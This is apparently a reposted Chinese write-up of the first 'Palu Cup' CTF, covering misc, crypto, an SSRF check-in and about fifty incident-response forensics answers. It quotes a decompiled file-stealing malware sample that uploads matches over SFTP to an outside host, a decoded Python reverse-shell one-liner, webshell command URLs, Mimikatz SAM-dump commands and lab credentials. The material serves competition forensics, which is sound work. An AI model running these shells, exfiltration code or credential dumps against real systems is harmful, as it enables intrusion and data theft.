第一届 “帕鲁杯“ writeup

文章目录

    • Misc
      • Misc-签到
      • FM 145.8
      • ez_misc
      • 为什么我的新猫猫吃不饱
    • Crypto
      • 玛卡巴卡有什么坏心思呢
    • web
      • Web-签到
    • 应急响应
      • 1.找到JumpServer堡垒机中flag标签的值。
      • 2.提交攻击者第一次登录时间。
      • 3.提交攻击者源IP。
      • 4.提交攻者使用的cve编号。
      • 5.提交攻击者留在Web服务器上的恶意程序的32位小写md5值。
      • 6.分析恶意程序连接地址和密码。
      • 7.提交存在反序列化漏洞的端口。
      • 8.提交攻击者使用的后门路由地址。
      • 9.提交dnslog反弹域名。
      • 10.提交第一次扫描器使用时间。
      • 11.提交攻击者反弹shell使用的语言。
      • 12.提交攻击者反弹shell的ip。
      • 13.提交攻击者留下的账号。
      • 14.提交攻击者的后门账户密码。
      • 15.提交测试数据条数。
      • 16.请提交攻击者留下的信息。
      • 17.请提交运维服务器上的恶意文件md5
      • 18.提交恶意文件的恶意函数。
      • 19.请提交攻击者恶意注册的恶意用户条数。
      • 20.请提交对博客系统的第一次扫描时间。
      • 21.提交攻击者下载的文件。
      • 22.请提交攻击者第一次下载服务器文件的时间。
      • 23.请提交攻击者留下的冰蝎马的文件名称。
      • 24.提交冰蝎的链接密码。
      • 25.提交办公区存在的恶意用户名。
      • 26.提交恶意用户密码到期时间。
      • 27.请对办公区留存的镜像取证并指出内存疑似恶意进程。
      • 28.请指出该员工使用的公司OA平台的密码。
      • 29.攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。
      • 30.请提交该计算机中记录的重要联系人的家庭住址。
      • 31.请提交近源靶机上的恶意文件哈希。
      • 32.提交恶意程序的外联地址。
      • 33.提交攻击者使用内网扫描工具的哈希。
      • 34.请提交攻击者在站点上留下的后门密码。
      • 35.请提交攻击者在数据库留下的信息。
      • 36.提交攻击者在监控服务器上留下的dcnlog地址。
      • 37.提交监控服务器上恶意用户的上一次登录时间。
      • 38.提交监控服务器上遗留的反弹shell地址和端口。
      • 39.提交恶意钓鱼文件的哈希。
      • !40.提交恶意文件外连IP。
      • 41.提交被恶意文件钓鱼使用者的姓名。
      • 42.提交攻击者留下的信息。
      • 43.提交恶意用户数量。
      • 44.请提交员工集体使用的密码。
      • 45.提交加密文件的哈希。
      • 46.提交被攻击者加密的内容明文。
      • 47.请提交符合基线标准的服务器数量。
      • 48.提交办公区的恶意文件哈希。
      • 49.提交恶意回连端口。
      • 50.提交恶意程序中的flag。
      • 51.提交恶意文件中的search_for_text内容。
      • !52.提交web服务器上攻击者修改后的root密码。

这次是跟朋友们打的,由于应急的题多侥幸拿了个稍微过得去的名次。主要是应急题做的差不多,故写wp
40和52不会

在这里插入图片描述

Misc

Misc-签到

使用python进行chr

s = '''27880
30693
25915
21892
38450
23454
39564
23460
21457
36865
112
108
98
99
116
102
33719
21462
21069
27573
102
108
97
103
20851
27880
79
110
101
45
70
111
120
23433
20840
22242
38431
22238
22797
112
108
98
99
116
102
33719
21462
21518
27573
102
108
97
103'''.split('\n')
for i in s:
        print(chr(int(i)),end='')

关注知攻善防实验室发送plbctf获取前段flag关注One-Fox安全团队回复plbctf获取后段flag
关注即可

flag{TreJaiuLT1rgbdfG0Eay}

观察到
在这里插入图片描述
江汉 薪金珠宝,搜一下即可在3D地图上找到
在这里插入图片描述
然后根据格式提交

flag{湖北省武汉市江汉二路与江汉路步行街交叉路口}

FM 145.8

一眼SSTV
在这里插入图片描述

flag{19b4dD77bF3c66f91c23F5A25Bc314CB}

ez_misc

图片尾有一段空白字符,不是whitespace是snow。复制下来保存到新文件里
空密码能解出一段Carefree and carefree,直接就是压缩包密码,解压即可
在这里插入图片描述

flag{b220116fc6ca827ecf3cb6c6c06dac26}

为什么我的新猫猫吃不饱

旧题存在附件未删干净,被更新题目了(
首先在gif尾发现第一段flag:UOZT{NB_XZ1_
在这里插入图片描述
至于为什么不要后面的HHT5,请看下一张图
在这里插入图片描述

使用atbash–》flag{my_ca1_ (FLAG{MY_CA1_)
第二段在gif+png里
用gifframe分离出来,然后发现Frame22和png一致,拿去盲水印,这里试了好几个最后是linya的频域盲水印
在这里插入图片描述
在这里插入图片描述
1s_Fu11}
flag{my_ca1_1s_Fu11}交不上
然后下午4点flag更新了,交的上了

flag{my_ca1_1s_Fu11}

Crypto

玛卡巴卡有什么坏心思呢

搜索"玛卡巴卡编码" 解密
找到github项目地址,找commithttps://github.com/ChinaRan0/Drt-AAV/commit/8f42d480e0626e3af176db12df520026b6e5c076#diff-6e1d6f196dc2487346f7ae8aafe3edb28a6abc558b567c516853104163968f12
找到码表,写个脚本转换

def decode_message(encoded_message, encoding_rules):
    decoding_rules = {v: k for k, v in encoding_rules.items()}
    decoded_message = ""
    i = 0
    while i < len(encoded_message):
        for encoded_str in sorted(decoding_rules.keys(), key=len, reverse=True):
            if encoded_message[i:].startswith(encoded_str):
                decoded_message += decoding_rules[encoded_str]
                i += len(encoded_str)
                break
        else:
            i += 1

    return decoded_message

encoding_rules = {
    'a': '玛卡巴卡轰',
    'b': '阿巴雅卡轰',
    'c': '伊卡阿卡噢轰',
    'd': '哈姆达姆阿卡嗙轰',
    'e': '咿呀呦轰',
    'f': '玛卡雅卡轰',
    'g': '伊卡阿卡轰',
    'h': '咿呀巴卡轰',
    'i': '达姆阿卡嗙轰',
    'j': '玛卡巴卡玛卡巴卡轰',
    'k': '玛卡巴卡玛卡巴卡玛卡巴卡轰',
    'l': '玛卡巴卡玛卡巴卡玛卡巴卡玛卡巴卡轰',
    'm': '阿巴雅卡阿巴雅卡轰',
    'n': '阿巴雅卡阿巴雅卡阿巴雅卡轰',
    'o': '阿巴雅卡阿巴雅卡阿巴雅卡阿巴雅卡轰',
    'p': '伊卡阿卡噢伊卡阿卡噢轰',
    'q': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
    'r': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
    's': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    't': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    'u': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
    'v': '咿呀呦咿呀呦轰',
    'w': '咿呀呦咿呀呦咿呀呦轰',
    'x': '咿呀呦咿呀呦咿呀呦咿呀呦轰',
    'y': '咿呀呦咿呀呦咿呀呦咿呀呦咿呀呦轰',
    'z': '玛卡雅卡玛卡雅卡轰',
    'A': '玛卡雅卡玛卡雅卡玛卡雅卡轰',
    'B': '玛卡雅卡玛卡雅卡玛卡雅卡玛卡雅卡轰',
    'C': '伊卡阿卡伊卡阿卡轰',
    'D': '伊卡阿卡伊卡阿卡伊卡阿卡轰',
    'E': '伊卡阿卡伊卡阿卡伊卡阿卡伊卡阿卡轰',
    'F': '咿呀巴卡咿呀巴卡轰',
    'G': '咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'H': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'I': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
    'J': '达姆阿卡嗙达姆阿卡嗙轰',
    'K': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'L': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'M': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
    'N': '巴卡巴卡轰',
    'O': '巴卡巴卡巴卡巴卡轰',
    'P': '巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'Q': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'R': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
    'S': '呀呦轰',
    'T': '呀呦呀呦轰',
    'U': '呀呦呀呦呀呦轰',
    'V': '呀呦呀呦呀呦呀呦轰',
    'W': '呀呦呀呦呀呦呀呦呀呦轰',
    'X': '达姆阿卡轰',
    'Y': '达姆阿卡达姆阿卡轰',
    'Z': '达姆阿卡达姆阿卡达姆阿卡轰',
    '0': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
    '1': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
    '2': '玛巴轰',
    '3': '玛巴玛巴轰',
    '4': '玛巴玛巴玛巴轰',
    '5': '玛巴玛巴玛巴玛巴轰',
    '6': '巴卡玛巴轰',
    '7': '巴卡玛巴巴卡玛巴轰',
    '8': '巴卡玛巴巴卡玛巴巴卡玛巴轰',
    '9': '巴卡玛巴巴卡玛巴巴卡玛巴巴卡玛巴轰',
    '=': '妈个巴子轰',
    '/': '妈个巴卡轰',
    '+': '妈个巴达轰',

}
encoded_message = "玛卡巴卡玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡阿巴雅卡轰达姆阿卡嗙轰哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡轰咿呀呦轰达姆阿卡嗙轰"
decoded_text = decode_message(encoded_message, encoding_rules)
print(decoded_text)
#jinitaimei
flag{jinitaimei}

web

Web-签到

from flask import Flask, request, jsonify
import requests
from flag import flag  # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def getinfo():
    url = request.args.get('url')
    if url:
        # 请求url
        response = requests.get(url)
        content = response.text
        print(content)
        if "paluctf" in content:
            return flag
        else:
            return content
    else:
        response = {
            'message': 200,  # 这里是数值,不是字符串
            'data': "Come sign in and get the flag!"
        }
        return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():
    return "paluctf"

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0", port=80)

能够看到需要带有paluctf才能够得到flag,那么直接?url=http://localhost/flag就能得到paluctf
因此最终payload:http://127.0.0.1:50258/?url=http://localhost/flag

应急响应

1.找到JumpServer堡垒机中flag标签的值。

访问后台http://192.168.20.123:8080,账号密码admin/Network@2020
在更多选项中标签里找到flag
在这里插入图片描述

[BrYeaVj54009rDIZzu4O]

2.提交攻击者第一次登录时间。

试了几个不对,然后准备试一个很特别的,没想到就是
在这里插入图片描述

[2024/04/11/14:21:18]

3.提交攻击者源IP。

在jumpserver的资产详情中找到ip

在这里插入图片描述

[192.168.1.4]

4.提交攻者使用的cve编号。

在这里插入图片描述
攻击者登陆后使用了作业模块,联系到最近刚出的jumpserver的两个新漏洞,拿下
在这里插入图片描述

[CVE-2024-29201]

5.提交攻击者留在Web服务器上的恶意程序的32位小写md5值。

在root下有一个home,一开始看到了放vt上看没毒就以为不是这个文件,后来发现在jumpserver上出题人计算了这个文件的hash就觉的不简单。
导出
在这里插入图片描述
在这里插入图片描述

[84413332e4e7138adc5d6f1f688ddd69]

6.分析恶意程序连接地址和密码。

第一次知道linux的python程序也能用unpacker
在这里插入图片描述
在这里插入图片描述
甚至版本,那就在线吧
在这里插入图片描述

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.10

import os
import paramiko
from getpass import getpass

def search_in_files(directory, search_text):
    pass
# WARNING: Decompyle incomplete


def ssh(local_file_path, remote_file_path):
    hostname = '82.157.238.111'
    port = 22
    username = 'root'
    password = '1qaz@WSX3edc'
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(hostname, port, username, password)
    sftp = client.open_sftp()
    sftp.put(local_file_path, remote_file_path)
    sftp.close()
    client.close()
    print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')

search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)
[e695461c231aee4ed46b201efca18ff8-7da188c2e2d83e38b7d9e75e500f1af8]

7.提交存在反序列化漏洞的端口。

在WAF中找到shell路径和密码,查看当前网络开发情况
http://192.168.20.121/?123=system(%27netstat%20-anpt%27);
发现有7001,8080,测试后8080为反序列化漏洞的端口

[8080]

8.提交攻击者使用的后门路由地址。

在jumpserver里的记录里面发现cat了app.py
在这里插入图片描述
尝试提交/api/system的答案,对的

[948c4425bad48511fd6281d345ee69a1]  

9.提交dnslog反弹域名。

发现flask文件夹下有一个log.txt

在这里插入图片描述
提交0vqkht.dnslog.cn答案不对,往后找到还有0vqkht.palu.cn
在这里插入图片描述

[86fedf00e173a0d531be569028fc1f6e]

10.提交第一次扫描器使用时间。

在上面找到log日志,可以发现间隔时间非常之短,有没有可能就是扫描器呢?
在这里插入图片描述
没想到对了…这也算扫描器

[2024/04/15/02:26:59]

11.提交攻击者反弹shell使用的语言。

在log日志找到python
在这里插入图片描述

[23eeeb4347bdd26bfc6b7ee9a3b755dd]

12.提交攻击者反弹shell的ip。

同上图

[82.157.238.174]

13.提交攻击者留下的账号。

在这里插入图片描述

[palu.com]

14.提交攻击者的后门账户密码。

用dg打开然后看shadow
在这里插入图片描述在这里插入图片描述

猜测能用rockyou爆破
在这里插入图片描述
密码123123

[4297f44b13955235245b2497399d7a93]

15.提交测试数据条数。

看mysql1,5条
在这里插入图片描述

[e4da3b7fbbce2345d7772b0674a318d5]

16.请提交攻击者留下的信息。

在/var/log/nginx下想查看日志的时候,发现一个hack文件
在这里插入图片描述

flag{hi_palu_f10g}

17.请提交运维服务器上的恶意文件md5

在jumpserver上看到上传了个helloworld
找到在lib下,直接拷贝的镜像看不到lib文件
在这里插入图片描述
同时也计算了helloworld的hash,猜测可能是相关题目,用base64输出一下
在这里插入图片描述

拷贝出来解码,计算一下hash即可

[0fca0f847a45401c878d7a5303ddc1f8]

18.提交恶意文件的恶意函数。

不知道为什么不是haveadoor,答案是begingame
在这里插入图片描述

[ddd0599cda1fc289a617db148d75383b]

19.请提交攻击者恶意注册的恶意用户条数。

10
在这里插入图片描述

[d3d9446802a44259755d38e6d163e820]

20.请提交对博客系统的第一次扫描时间。

在这里插入图片描述

[2024/04/16/21:03:46]  

21.提交攻击者下载的文件。

在WAF里发现下载了一个upload.zip

在这里插入图片描述

[upload.zip]

22.请提交攻击者第一次下载服务器文件的时间。

这题是做的倒数第7题,之前在做的时候找到log日志
这次是找到的jumpserver里也多次出现的other_vhosts_access
在这里插入图片描述
然后发现这里面的格式就是flag格式,尝试搜了一下upload.zip
在这里插入图片描述

[16/Apr/2024:09:03:52]

23.请提交攻击者留下的冰蝎马的文件名称。

在这里插入图片描述
用自带的后门查看一下
view-source:http://192.168.20.121/?123=system(%27cat%20./api/nidewen.php%27);

在这里插入图片描述
名称nidewen.php

[nidewen.php]

24.提交冰蝎的链接密码。

通过搜索可知,该密钥为连接密码32位md5值的前16位
秘钥1be873048db838ac
在这里插入图片描述
…,再来试试rockyou.txt字典,也不行,留着了。
Github 搜索,启动!
在这里插入图片描述

[nidewen]

25.提交办公区存在的恶意用户名。

登录时一共两个账号,一个administrator,另一个就是hacker

[hacker]

26.提交恶意用户密码到期时间。

cmd管理员运行net user hacker
在这里插入图片描述
不过这题在jumpserver里看操作记录视频回放也能看到

[2024/5/28/21:40:37]

27.请对办公区留存的镜像取证并指出内存疑似恶意进程。

windows,好,winhex导出
在这里插入图片描述
windows10是吧,volatility3启动
在这里插入图片描述
发现.hack.ex

[.hack.ex]

28.请指出该员工使用的公司OA平台的密码。

在查看内存文件的时候,发现用户叫qiyue
我有七月师傅的好友,然后在我印象里他应该不在这个团队
并且这个.hack.ex我有印象
google搜了一下“".hack.ex" “CTF””
在这里插入图片描述
https://blog.csdn.net/qq_22406677/article/details/135001795

在这里插入图片描述在这里插入图片描述

不过网上只有答案没有wp。
既然这样我就不用vol3来做了
在这里插入图片描述
很轻易再次证明和本次PC1没有关系。
然后iehistory一下发现访问过一个password.txt,filescan+dumpfiles导出
在这里插入图片描述
在这里插入图片描述
密码liuling7541

[liuling7541]

29.攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么。

用多个命令来查看基本信息,在查看剪贴板的时候发现一个文件h4ck3d!
在这里插入图片描述

[h4ck3d!]

30.请提交该计算机中记录的重要联系人的家庭住址。

找Contact
在这里插入图片描述
王总一看就很重要
在这里插入图片描述
在这里插入图片描述
不愧是王总,秋水省雁荡市碧波区千屿山庄1号

[秋水省雁荡市碧波区千屿山庄1号]

31.请提交近源靶机上的恶意文件哈希。

打开电脑自动打开开始菜单的一个文件夹,猜测为恶意文件,使用windows自带的命令计算hash
在这里插入图片描述

[a7fcd0b15a080167c4c2f05063802a6e]

32.提交恶意程序的外联地址。

在虚拟机中安装vmware-tools,拖出来之后上传到vt
https://www.virustotal.com/gui/file/9f6ae95b5540d0d6c60e942fa68dee44b2781c58da3f21321f18b8384ab41084
找到这个CN的地址
在这里插入图片描述

[101.78.63.44]

33.提交攻击者使用内网扫描工具的哈希。

能够在记录里发现使用了fscan
在这里插入图片描述
发现路径为/bin
在这里插入图片描述
用md5sum计算一下即可
view-source:http://192.168.20.121/?123=system(%22md5sum%20/bin/fscan%22);

[1facdcd05c43ba4d37274dffc90b6d4e] 

34.请提交攻击者在站点上留下的后门密码。

第7题提到了密码是123

[202cb962ac59075b964b07152d234b70]

35.请提交攻击者在数据库留下的信息。

直接连上mysql1
在这里插入图片描述

[flag{hack_palu}]

36.提交攻击者在监控服务器上留下的dcnlog地址。

在这里插入图片描述

[palu.dcnlog.cn]

37.提交监控服务器上恶意用户的上一次登录时间。

搜索如何登录zabbix,找到http://192.168.20.12/zabbix/
顺便百度也给出来默认账号密码是Admin/zabbix
在用户处查看到最后一次登录时间
在这里插入图片描述

[2024/04/17/01:32:44]

38.提交监控服务器上遗留的反弹shell地址和端口。

见36的第6个命令,base解一下得到

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("154.183.110.12",7890));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
[154.183.110.12:7890]

当然在平台上看也是可以的
在这里插入图片描述

39.提交恶意钓鱼文件的哈希。

在做45题时是搜索到了一个帕鲁杯初稿文件,猜测过会不会是钓鱼文档,测试后发现能提交

[da75025ff7f3b6baa27f5913c1c83063]

!40.提交恶意文件外连IP。

不会,尝试了翻事件管理器中的安全日志只出现了两个IP都试过了不对。

41.提交被恶意文件钓鱼使用者的姓名。

在这里插入图片描述

[陈琚鹭]

42.提交攻击者留下的信息。

看jumpserver
在这里插入图片描述
找视频
在这里插入图片描述

flag{2024-04-17-hi}

43.提交恶意用户数量。

在PC2上,打开cmd执行net user
一共49个
在这里插入图片描述

[f457c545a9ded88f18ecee47145a72c0]

44.请提交员工集体使用的密码。

使用winhex将SAM与SYSTEM导出
在这里插入图片描述导出后使用mimikatz
sekurlsa::minidump SYSTEM
lsadump::sam /sam:SAM /system:SYSTEM
随便选一个看看
在这里插入图片描述

能够发现这个NTLM与administrator的NTLM是同一个,那么所有用户的密码都是administrator的密码

[Network@2020]

45.提交加密文件的哈希。

发现上传了一个docx文件,于是乎使用everything去搜一下
在这里插入图片描述
误打误撞找到加密文件

[2bf71a0d6d4e70cec7602da2b653e2ab]

46.提交被攻击者加密的内容明文。

脚本见crypto题目

[2024ispassword]

47.请提交符合基线标准的服务器数量。

不知道,我理解的就是6台机器里面标准的数量,1-6都不对,最后猜的0对了

[cfcd208495d565ef66e7dff9f98764da]

48.提交办公区的恶意文件哈希。

在jumpserver的会话中发现PC2上传了一个文件palucomeyi1.exe
在这里插入图片描述
传一个everything上去搜
在这里插入图片描述
算一下hash

[5232a191eb2913337e0a93b0a990f2a2]

49.提交恶意回连端口。

使用unpacker
在这里插入图片描述
然后uncompyle6
在这里插入图片描述
结果如下:

# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 2.7.18 (default, Jul  1 2022, 10:30:50) 
# [GCC 11.2.0]
# Embedded file name: palucomeyi1.py

#[此处省略400行由于反编译导致的无关代码]
Instruction context:
   
 L.  13        86  LOAD_FAST                'file_path'
                  88  LOAD_FAST                'search_text'
                  90  BUILD_TUPLE_2         2 
                  92  POP_BLOCK        
->                94  ROT_TWO          
                  96  BEGIN_FINALLY    
                  98  WITH_CLEANUP_START
                 100  WITH_CLEANUP_FINISH
                 102  POP_FINALLY           0  ''
                 104  ROT_TWO          
                 106  POP_TOP          
                 108  ROT_TWO          
                 110  POP_TOP          
                 112  RETURN_VALUE     
               114_0  COME_FROM            84  '84'
                 114  POP_BLOCK        
                 116  BEGIN_FINALLY    
               118_0  COME_FROM_WITH       66  '66'
                 118  WITH_CLEANUP_START
                 120  WITH_CLEANUP_FINISH
                 122  END_FINALLY      
                 124  JUMP_BACK            24  'to 24'
import os, paramiko
from getpass import getpass

def search_in_files--- This code section failed: ---

 L.   6         0  LOAD_GLOBAL              os
                2  LOAD_METHOD              walk
                4  LOAD_FAST                'directory'
                6  CALL_METHOD_1         1  ''
                8  GET_ITER         
               10  FOR_ITER            128  'to 128'
               12  UNPACK_SEQUENCE_3     3 
               14  STORE_FAST               'root'
               16  STORE_FAST               'dirs'
               18  STORE_FAST               'files'

 L.   7        20  LOAD_FAST                'files'
               22  GET_ITER         
             24_0  COME_FROM            36  '36'
               24  FOR_ITER            126  'to 126'
               26  STORE_FAST               'file'

 L.   8        28  LOAD_FAST                'file'
               30  LOAD_METHOD              endswith
               32  LOAD_STR                 '.txt'
               34  CALL_METHOD_1         1  ''
               36  POP_JUMP_IF_FALSE    24  'to 24'

 L.   9        38  LOAD_GLOBAL              os
               40  LOAD_ATTR                path
               42  LOAD_METHOD              join
               44  LOAD_FAST                'root'
               46  LOAD_FAST                'file'
               48  CALL_METHOD_2         2  ''
               50  STORE_FAST               'file_path'

 L.  10        52  LOAD_GLOBAL              open
               54  LOAD_FAST                'file_path'
               56  LOAD_STR                 'r'
               58  LOAD_STR                 'utf-8'
               60  LOAD_STR                 'ignore'
               62  LOAD_CONST               ('encoding', 'errors')
               64  CALL_FUNCTION_KW_4     4  '4 total positional and keyword args'
               66  SETUP_WITH          118  'to 118'
               68  STORE_FAST               'f'

 L.  11        70  LOAD_FAST                'f'
               72  LOAD_METHOD              read
               74  CALL_METHOD_0         0  ''
               76  STORE_FAST               'contents'

 L.  12        78  LOAD_FAST                'search_text'
               80  LOAD_FAST                'contents'
               82  COMPARE_OP               in
               84  POP_JUMP_IF_FALSE   114  'to 114'

 L.  13        86  LOAD_FAST                'file_path'
               88  LOAD_FAST                'search_text'
               90  BUILD_TUPLE_2         2 
               92  POP_BLOCK        
               94  ROT_TWO          
               96  BEGIN_FINALLY    
               98  WITH_CLEANUP_START
              100  WITH_CLEANUP_FINISH
              102  POP_FINALLY           0  ''
              104  ROT_TWO          
              106  POP_TOP          
              108  ROT_TWO          
              110  POP_TOP          
              112  RETURN_VALUE     
            114_0  COME_FROM            84  '84'
              114  POP_BLOCK        
              116  BEGIN_FINALLY    
            118_0  COME_FROM_WITH       66  '66'
              118  WITH_CLEANUP_START
              120  WITH_CLEANUP_FINISH
              122  END_FINALLY      
              124  JUMP_BACK            24  'to 24'
              126  JUMP_BACK            10  'to 10'

Parse error at or near `ROT_TWO' instruction at offset 94


def ssh(local_file_path, remote_file_path):
    hostname = '192.168.20.123'
    port = 22
    username = 'root'
    password = 'Network@2020'
    client = paramiko.SSHClient
    client.set_missing_host_key_policyparamiko.AutoAddPolicy
    client.connect(hostname, port, username, password)
    sftp = client.open_sftp
    sftp.putlocal_file_pathremote_file_path
    sftp.close
    client.close
    print(f"File {local_file_path} uploaded to {remote_file_path} on {hostname}")
    flag = 'flag{234567uyhgn_aiduyai}'


search_directory = '/'
search_for_text = 'passwod'
a, b = search_in_files(search_directory, search_for_text)
ssh(a, b)

端口22

[22]

50.提交恶意程序中的flag。

如上

flag{234567uyhgn_aiduyai}

51.提交恶意文件中的search_for_text内容。

如上上

[passwod]

!52.提交web服务器上攻击者修改后的root密码。

这个是真的一点思路没有

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/563930.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

更换本地yum源的步骤

更换本地yum源的流程与命令&#xff1a;

一山不容二虎?雷池WAF和宝塔面板共存部署

互联网上的攻击和扫描流量非常多&#xff0c;为了保证网站安全&#xff0c;在网站之前新增WAF防护是必要的。之前有了解过宝塔云WAF&#xff0c;但需要独立的一台服务器来部署&#xff0c;架构不够灵活&#xff0c;对于个人用户来说成本太高了。后来在微信公众号上看到简单好用…

虚良SEO怎么有效的对百度蜘蛛权重优化?

人们交换链接通常首先要问的是你BR值是多少&#xff1f;国内搜索引擎来说以百度马首是瞻&#xff0c;无论seo还是竞价都看重的是百度&#xff0c;那么针对百度权重的优化就特别重要了。其实&#xff0c;百度权重是民间的一种说法&#xff0c;百度官方并没有认同这个数值&#x…

三. TensorRT基础入门-TensorRT简介

目录 前言0. 简述1. 什么是TensorRT2. TensorRT的工作流介绍3. TensorRT的一些限制总结参考 前言 自动驾驶之心推出的 《CUDA与TensorRT部署实战课程》&#xff0c;链接。记录下个人学习笔记&#xff0c;仅供自己参考 本次课程我们来学习课程第三章—TensorRT 基础入门&#xf…

Centos7.9云计算CloudStack4.15 高级网络配置(3)

上两章的文章都是用的CloudStack的基本网络&#xff0c;这一篇我们来介绍CloudStack的高级网络&#xff0c;这里虚拟机用的是自己配置的内部网络&#xff0c;通过nat方式到物理网络。按照第一篇的文章&#xff0c;安装管理服务器和计算服务器。 并且在管理服务器配置好如下的全…

Ubuntu22.04.4 - apt - 笔记

一、修改源配置 这里使用的时候又出现了联不通的情况&#xff0c;换成国内镜像 在update cp /etc/apt/source.list /etc/apt/source.list.bak vim source.list 换源地址 修改完&#xff08;网上有&#xff0c;注意&#xff1a;根据Ubuntu版本不一样&#xff0c;部分内同也会不…

免费一年期ssl证书怎么申请?看这里!(教育版、政务版)

自从去年年底开始&#xff0c;各大公有云陆续下架一年期的免费ssl证书&#xff0c;且申请数量都做了限制调整&#xff0c;那么现在去哪里申请免费一年期的ssl证书呢&#xff1f; 一、短期ssl证书 首先了解一下短期免费证书的平台&#xff0c;一般免费证书都为90天有效期&…

kubectl常用命令行介绍

1、kubectl用法概述 kubectl命令⾏的语法如下&#xff1a; $ kubectl [command] [type] [name] [flags] command&#xff1a;命令&#xff0c;用于操作Kubernetes集群资源对象的命令&#xff0c;例如create、delete、describe、get、apply等TYPE&#xff1a;资源对象的类型&am…

外包干了6天,技术明显退步。。。

我是一名大专生&#xff0c;自19年通过校招进入湖南某软件公司以来&#xff0c;便扎根于功能测试岗位&#xff0c;一晃便是近四年的光阴。今年3月&#xff0c;我如梦初醒&#xff0c;意识到长时间待在舒适的环境中&#xff0c;已让我变得不思进取&#xff0c;技术停滞不前。更令…

【xhs爬虫软件】把小红书评论comment接口封装成GUI采集工具!

用Python开发爬虫采集软件&#xff0c;可自动抓取小红书评论数据&#xff0c;并且含二级评论。 小红书的评论接口URL是&#xff1a; https://edith.xiaohongshu.com/api/sns/web/v2/comment/page 开发者模式分析过程&#xff1a; 进而封装成GUI界面软件&#xff0c;如下&…

线程池中常见的几大问题

说说你对线程池的了解&#xff1f; 线程池&#xff0c;是对一系列线程进行管理的资源池&#xff0c;当有任务来时&#xff0c;我们可以使用线程池中的线程&#xff0c;完成任务时不需要被销毁&#xff0c;会重新回到池子中&#xff0c;等待下一次的复用。 为什么要使用线程池…

深入了解直播美颜工具与视频美颜SDK的实现与优化策略

今天&#xff0c;小编将为大家详解视频美颜SDK技术的视线方案与优化策略。 一、美颜工具的实现原理 利用特征提取算法提取人脸的各种特征&#xff0c;如皮肤色调、眼睛大小等。接下来&#xff0c;根据用户设定的美颜参数&#xff0c;对提取的特征进行修改。最后&#xff0c;将…

NodeJS操作符空格漏洞

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境&#xff0c;它使得 JavaScript 可以脱离浏览器在服务器端运行。Node.js 利用事件驱动、非阻塞 I/O 模型等技术提高了性能&#xff0c;从而在开发领域得到广泛应用&#xff0c;比如Web服务应用&#xff08;尤其是非阻塞…

社区奶柜:您门前的新鲜便利店

社区奶柜&#xff1a;您门前的新鲜便利店 在快节奏的现代生活中&#xff0c;社区奶柜应运而生&#xff0c;为城市居民提供了极大的便利。这些位于住宅区的自助售卖设备&#xff0c;24小时提供新鲜的乳制品&#xff0c;让您的日常生活更加简单方便。 社区奶柜不仅能够确保提供…

前端代码常见的安全缺陷(一)

目录 1、使用不安全的target blank 问题描述&#xff1a; 修复建议&#xff1a; 2、Javascript 代码劫持 问题描述&#xff1a; 修复建议&#xff1a; 示例&#xff1a; 3、跨站请求伪造 问题描述&#xff1a; 修复建议&#xff1a; 4、遗留的调试代码 问题描述&am…

uniapp:小白1分钟学会使用webSocket(可无脑复制)

uni.connectSocket() uni.$emit页面通信 项目中使用uni.connectSocket()创建webSocket的总结&#xff0c;代码可无脑复制&#xff0c;直接使用。 1、main.js 引入vuex import store from ./store; Vue.prototype.$store store;vuex中封装webSocket 2、vuex的&#xff1a;index…

快速排序题目SelectK问题(力扣75.颜色分类、力扣215.数组中的第K个最大元素、面试题17.14最小K个数)

力扣75.颜色分类 给定一个包含红色、白色和蓝色、共 n 个元素的数组 nums &#xff0c;原地对它们进行排序&#xff0c;使得相同颜色的元素相邻&#xff0c;并按照红色、白色、蓝色顺序排列。 我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。 必须在不使用库内置的 sor…

C语言(二维数组)

